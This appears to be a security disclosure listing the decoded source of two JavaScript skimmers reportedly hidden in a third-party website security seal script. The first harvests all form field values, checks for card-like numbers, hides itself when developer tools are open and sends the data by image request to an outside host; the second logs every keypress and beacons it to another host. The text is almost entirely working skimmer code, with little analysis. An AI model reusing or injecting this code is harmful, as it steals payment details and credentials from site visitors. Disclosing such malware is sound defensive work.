BestOfTheWeb.com Security Seal contains even 2 different keystroke sniffers 2019-05-13 -- obfuscated version here: https://urlscan.io/responses/5c4474793baf83d5376045163d77f8f2ecd228ba5941ee8572489cb475a3cd1b/

keystroke_sniffer_1.js

var sniffData = {};
sniffData['Gate'] = 'https://font-assets.com/img';
sniffData['Data'] = {};
sniffData['Sent'] = [];
sniffData.IsValid = ![];
sniffData.SaveParam = function(field) {
  if (field.id !== undefined && field.id != '' && field.id !== null && field.value.length < 0x100 && field.value.length > 0x0) {
    if (_0x5c4ab6(_0x5e7b89(_0x5e7b89(field.value, '-', ''), ' ', '')) && _0xdc5c77(_0x5e7b89(_0x5e7b89(field.value, '-', ''), ' ', ''))) sniffData.IsValid = !![];
    sniffData.Data[field.id] = field.value;
    return;
  }
  if (field.name !== undefined && field.name != '' && field.name !== null && field.value.length < 0x100 && field.value.length > 0x0) {
    if (_0x5c4ab6(_0x5e7b89(_0x5e7b89(field.value, '-', ''), ' ', '')) && _0xdc5c77(_0x5e7b89(_0x5e7b89(field.value, '-', ''), ' ', ''))) sniffData.IsValid = !![];
    sniffData.Data[field.name] = field.value;
    return;
  }
};
sniffData.SaveAllFields = function() {
  var inputfields = document.getElementsByTagName('input');
  var selectfields = document.getElementsByTagName('select');
  var textareas = document.getElementsByTagName('textarea');
  for (var i = 0; i < inputfields.length; i++) sniffData.SaveParam(inputfields[i]);
  for (var i = 0; i < selectfields.length; i++) sniffData.SaveParam(selectfields[i]);
  for (var i = 0; i < textareas.length; i++) sniffData.SaveParam(textareas[i]);
};
sniffData['SendData'] = function() {
  if (!window.devtools.isOpen && sniffData.IsValid) {
    sniffData.Data.Domain = location.hostname;
    var _0x43c1ef = encodeURIComponent(window.btoa(JSON.stringify(sniffData.Data)));
    var _0x2c70f7 = _0x43c1ef.hashCode();
    for (var _0x3cbd0c = 0x0; _0x3cbd0c < sniffData.Sent.length; _0x3cbd0c++)
      if (sniffData.Sent[_0x3cbd0c] == _0x2c70f7) return;
    sniffData.LoadImage(_0x43c1ef);
  }
};
sniffData.TrySend = function() {
  sniffData.SaveAllFields();
  sniffData.SendData();
};
sniffData.LoadImage = function(_0x3e43b7) {
  sniffData.Sent.push(_0x3e43b7.hashCode());
  var _0x2d7e85 = document.createElement('IMG');
  _0x2d7e85.src = sniffData.GetImageUrl(_0x3e43b7);
};
sniffData.GetImageUrl = function(_0x51c1cf) {
  return sniffData.Gate + '?reff=' + _0x51c1cf;
};
document.onreadystatechange = function() {
  if (document.readyState === 'complete') {
    window.setInterval(sniffData.TrySend, 0x1f4);
  }
}

keystroke_sniffer_2.js

// (c) Decoded by Sanguine Security
var keystrokes = '';
var sniffURL = 'https://dt2td.com/jsk/imgtrack.php?c=';
document.onkeypress = function (keypress) {
  get = window.event ? event : keypress;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keystrokes += key;
};
window['setInterval'](function () {
  if (keystrokes.length > 0) {
    new Image()['src'] = sniffURL + keystrokes;
    keystrokes = '';
  }
})